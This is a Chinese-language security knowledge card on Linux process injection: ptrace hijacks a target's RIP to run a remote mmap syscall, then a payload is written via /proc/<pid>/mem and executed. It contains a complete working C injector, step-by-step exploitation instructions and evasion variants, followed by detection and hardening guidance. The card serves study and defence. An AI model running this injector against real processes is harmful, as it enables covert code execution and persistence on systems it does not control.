♧ Godown 安全知识树

远程 mmap 系统调用 + /proc/mem 写入:ptrace 劫持 RIP 分配 RWX 并执行 payload

pentest/c2 · verified

一句话结论

在 ptrace 可直接注入受限(目标数据段 NX)时,可以组合“远程系统调用 + /proc/mem 写入”:attach 目标后用 PTRACE_POKETEXT 在 RIP 处写入 syscall; int3,把寄存器设为 __NR_mmap(9)并请求 PROT_READ|PROT_WRITE|PROT_EXEC 的匿名映射,执行后在 RAX 得到 RWX 地址;再用 /proc/<pid>/mem 把完整 payload 写入这块新内存,改 RIP 跳过去执行,最后恢复原始寄存器和代码并 detach;目标进程里会留下一个匿名 RWX 映射,这是检测的高置信度指标。

原理

  • 远程系统调用(Remote Syscall Injection / Parasite Injection):ptrace 能改目标寄存器与内存,因此可以让目标进程“替攻击者”执行一次系统调用。流程: 1. PTRACE_ATTACH + PTRACE_GETREGS 保存上下文; 2. 在目标当前 RIP 处备份原指令,写入 0f 05(syscall)+ cc(int3); 3. PTRACE_SETREGS 设置 syscall 参数(x86_64:RAX=9=__NR_mmap,RDI=addr,RSI=len,RDX=prot,R10=flags,R8=fd,R9=offset); 4. PTRACE_CONT 执行,waitpid 捕获 int3/SIGTRAP; 5. PTRACE_GETREGS 从 RAX 读取 mmap 返回值(RWX 地址); 6. 恢复原指令和原寄存器。
  • 为什么需要远程 mmap:普通 ELF 的 .data/堆是 rw-p(NX),直接写 shellcode 可能无法执行;/proc/pid/mem 只能写已有映射,不能直接创建可执行映射。远程 mmap 在目标地址空间创建一块 PROT_READ|PROT_WRITE|PROT_EXEC 的匿名页,解决执行权限问题。
  • payload 写入:/proc/<pid>/mem 以 r+b 打开,lseek 到 RWX 地址后 write 完整 payload(可远大于 POKETEXT 的 word 写入限制);这一步不需要 PTRACE_ATTACH,但此时目标已被 ptrace 暂停/控制。
  • 执行与恢复:把保存的寄存器复制一份,RIP = rwx_addr,PTRACE_SETREGS + PTRACE_CONT 执行 payload;payload 末尾用 int3 通知注入器;然后 PTRACE_SETREGS 恢复原始上下文、PTRACE_DETACH。RWX 映射会留在目标进程中(除非 payload 自己 munmap/mprotect),grep rwxp /proc/<pid>/maps 可见。
  • 技术难点:
  • 信号:目标若注册 SIGTRAP handler,int3 可能被目标吞掉;改用不常见信号(SIGSTOP)或 PTRACE_SINGLESTEP。
  • 多线程:Linux ptrace 以线程为单位,PTRACE_ATTACH 只停目标线程,其他线程继续跑;安全做法是枚举 /proc/<pid>/task/ 逐线程 attach。
  • 栈对齐:x86_64 ABI 要求 call 时 16 字节对齐;payload 调用库函数时需 and rsp, -16 或使用直接 syscall。
  • SELinux/AppArmor:PROT_EXEC 的匿名映射可能被策略拒绝;此时需 ROP/代码复用或已有可执行段。
  • 检测特征:匿名 rwxp 映射(正常应用极少,JIT/V8/Java 等例外)、TracerPid 非 0(attach 期间)、auditd 的 mmap PROT_EXEC 事件、/proc/<pid>/mem 写入;payload 若执行后 mprotect 降为 RX 或 munmap,快照可能抓不到,需要事件驱动监控。

触发条件

  • 攻击者与目标同 UID 或拥有 root/CAP_SYS_PTRACE;YAMA ptrace_scope 允许;目标可被 ptrace(未设置 PR_SET_DUMPABLE=0)。
  • 目标为 x86_64(示例);ARM64 需改寄存器/系统调用号。
  • 目标进程允许创建 PROT_EXEC 匿名映射(SELinux/AppArmor 未拒绝);内核未禁止 RWX。
  • 需要知道目标 PID;PIE 不影响远程 mmap(由内核选择地址),但恢复原始上下文需要保存寄存器。
  • 多线程目标需要额外 attach 所有线程,或选择影响可控的线程。

利用步骤

  1. PTRACE_ATTACH 目标,waitpid 等停止;PTRACE_GETREGS 保存原始寄存器(含 RIP)。
  2. 备份 RIP 处 8 字节原指令;写入 syscall; int3。
  3. 设置寄存器:RAX=9、RDI=0、RSI=4096、RDX=PROT_READ|PROT_WRITE|PROT_EXEC、R10=MAP_PRIVATE|MAP_ANONYMOUS、R8=-1、R9=0;PTRACE_CONT,等待 SIGTRAP。
  4. PTRACE_GETREGS 读 RAX 得到 RWX 地址;若为负(-errno)检查权限/策略;恢复原指令和寄存器。
  5. 用 /proc/<pid>/mem(r+b)把 payload 写到 RWX 地址;payload 可包含完整 shellcode/stager。
  6. 复制原始寄存器,设置 RIP=rwx_addr,PTRACE_SETREGS + PTRACE_CONT;等待 payload 的 int3/SIGTRAP。
  7. 恢复原始寄存器,PTRACE_DETACH;验证 /proc/<pid>/maps 中存在匿名 rwxp 区域(除非 payload 已清理)。
  8. 若 payload 需要长期驻留,可在 payload 内 mprotect 降为 r-x、munmap 清理或使用已有 RX 段,降低 RWX 特征(但会牺牲可写性)。

PoC

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <unistd.h>

static unsigned char payload[] = {
    0x50,0x57,0x56,0x52,                         /* push rax/rdi/rsi/rdx */
    0xbf,0x01,0x00,0x00,0x00,                     /* mov edi,1 */
    0x48,0x8d,0x35,0x11,0x00,0x00,0x00,           /* lea rsi,[rip+0x11] */
    0xba,0x25,0x00,0x00,0x00,                     /* mov edx,37 */
    0xb8,0x01,0x00,0x00,0x00,                     /* mov eax,1 */
    0x0f,0x05,                                   /* syscall */
    0x5a,0x5e,0x5f,0x58,                         /* pop rdx/rsi/rdi/rax */
    0xcc,                                        /* int3 */
    /* "[REMOTE-INJECT] RWX payload running!\n" (37 bytes) */
    0x5b,0x52,0x45,0x4d,0x4f,0x54,0x45,0x2d,0x49,0x4e,0x4a,0x45,0x43,0x54,
    0x5d,0x20,0x52,0x57,0x58,0x20,0x70,0x61,0x79,0x6c,0x6f,0x61,0x64,
    0x20,0x72,0x75,0x6e,0x6e,0x69,0x6e,0x67,0x21,0x0a
};

static void pt_peek(pid_t pid, unsigned long addr, void *buf, size_t len)
{
    size_t i;
    for (i = 0; i < len; i += sizeof(long)) {
        long w = ptrace(PTRACE_PEEKTEXT, pid, (void *)(addr + i), NULL);
        size_t n = (len - i < sizeof(long)) ? len - i : sizeof(long);
        memcpy((char *)buf + i, &w, n);
    }
}

static void pt_poke(pid_t pid, unsigned long addr, void *buf, size_t len)
{
    size_t i;
    for (i = 0; i < len; i += sizeof(long)) {
        long w;
        if (len - i < sizeof(long)) {
            w = ptrace(PTRACE_PEEKTEXT, pid, (void *)(addr + i), NULL);
            memcpy(&w, (char *)buf + i, len - i);
        } else {
            memcpy(&w, (char *)buf + i, sizeof(long));
        }
        ptrace(PTRACE_POKETEXT, pid, (void *)(addr + i), (void *)w);
    }
}

static unsigned long remote_mmap(pid_t pid, unsigned long addr, size_t len,
                                 int prot, int flags, int fd, off_t off)
{
    struct user_regs_struct saved, regs;
    unsigned char orig[8];
    unsigned char sc[] = {0x0f, 0x05, 0xcc};   /* syscall; int3 */
    int status;

    ptrace(PTRACE_GETREGS, pid, NULL, &saved);
    pt_peek(pid, saved.rip, orig, sizeof(orig));
    pt_poke(pid, saved.rip, sc, sizeof(sc));

    memcpy(&regs, &saved, sizeof(regs));
    regs.rax = 9;            /* __NR_mmap */
    regs.rdi = addr;
    regs.rsi = len;
    regs.rdx = prot;
    regs.r10 = flags;
    regs.r8  = (unsigned long)fd;
    regs.r9  = off;
    ptrace(PTRACE_SETREGS, pid, NULL, &regs);

    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);
    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    unsigned long result = regs.rax;

    pt_poke(pid, saved.rip, orig, sizeof(orig));
    ptrace(PTRACE_SETREGS, pid, NULL, &saved);
    return result;
}

int main(int argc, char **argv)
{
    if (argc != 2) { fprintf(stderr, "usage: %s <pid>\n", argv[0]); return 1; }
    pid_t pid = atoi(argv[1]);
    struct user_regs_struct orig;
    int status;

    ptrace(PTRACE_ATTACH, pid, NULL, NULL);
    waitpid(pid, &status, 0);
    ptrace(PTRACE_GETREGS, pid, NULL, &orig);

    unsigned long rwx = remote_mmap(pid, 0, 4096,
        PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if ((long)rwx < 0) { perror("remote mmap"); ptrace(PTRACE_DETACH, pid, NULL, NULL); return 1; }
    printf("[+] RWX @ 0x%lx\n", rwx);

    char path[64];
    snprintf(path, sizeof(path), "/proc/%d/mem", pid);
    FILE *f = fopen(path, "r+b");
    fseek(f, rwx, SEEK_SET);
    fwrite(payload, 1, sizeof(payload), f);
    fflush(f); fclose(f);

    struct user_regs_struct jump = orig;
    jump.rip = rwx;
    ptrace(PTRACE_SETREGS, pid, NULL, &jump);
    ptrace(PTRACE_CONT, pid, NULL, NULL);
    waitpid(pid, &status, 0);

    ptrace(PTRACE_SETREGS, pid, NULL, &orig);
    ptrace(PTRACE_DETACH, pid, NULL, NULL);
    printf("[+] done; check /proc/%d/maps for rwxp\n", pid);
    return 0;
}
gcc -o remote_inject remote_inject.c
sudo ./remote_inject $(pidof target)
grep 'rwxp' /proc/$(pidof target)/maps
# 输出示例:7f0d39b2e000-7f0d39b2f000 rwxp 00000000 00:00 0

变体与关联

  • 变体:mprotect 降级:payload 执行后远程 mprotect(RX),消除匿名 RWX 特征;或 munmap 清理,但 payload 需常驻时不可行。
  • 变体:使用已有 RX 段:不分配新内存,覆盖不常执行的函数/错误路径,避免新增映射;需要目标代码空间与恢复策略。
  • 变体:process_vm_writev:用 process_vm_writev 替代 /proc/mem 写 payload;权限检查类似,auditd 需覆盖。
  • 变体:多线程/信号:逐线程 attach;目标 SIGTRAP handler 干扰时改用 SIGSTOP/单步;ARM64 改 syscall 号/寄存器。
  • 关联卡片:[[pentest-c2-linux-ptrace-poketext-shellcode-injection]](经典 ptrace 注入)、[[pentest-c2-linux-proc-mem-got-hijack]](无 ptrace GOT 劫持)、[[defense-detection-linux-process-injection]](匿名 RWX/TracerPid/auditd/Volatility 检测)。
  • 边界:SELinux/AppArmor 拒绝 PROT_EXEC、内核禁止 RWX、目标不可 ptrace、多线程竞态都可能导致失败;payload 若崩溃会带走目标进程,需在受控环境验证。

检测与防御

  • 匿名 RWX 扫描:grep rwxp /proc/*/maps,排除 JIT 白名单(V8/JVM/LLVM/Mono 等);正常业务进程几乎不应有匿名 RWX。
  • TracerPid/auditd:attach 期间 TracerPid 非 0;auditd 记录 ptrace、mmap(a2&0x4 PROT_EXEC)、process_vm_writev;eBPF 关联 ptrace + /proc/mem 写入。
  • 内存取证:LiME + Volatility3 linux.proc.Maps 过滤 rwx、linux.elfs.Elfs 对比磁盘 ELF、dump 可疑区域反汇编;检查 .text hash 与 GOT 指向。
  • 加固:YAMA ptrace_scope 1/2、限制 CAP_SYS_PTRACE、SELinux/AppArmor 阻止匿名可执行映射、启用 W^X/PaX 类策略;容器内禁用 ptrace。
  • 响应:发现 RWX 后保存 maps/mem/内存镜像与 audit 日志;检查目标进程是否被持久化、是否加载了 stager;终止前先取证。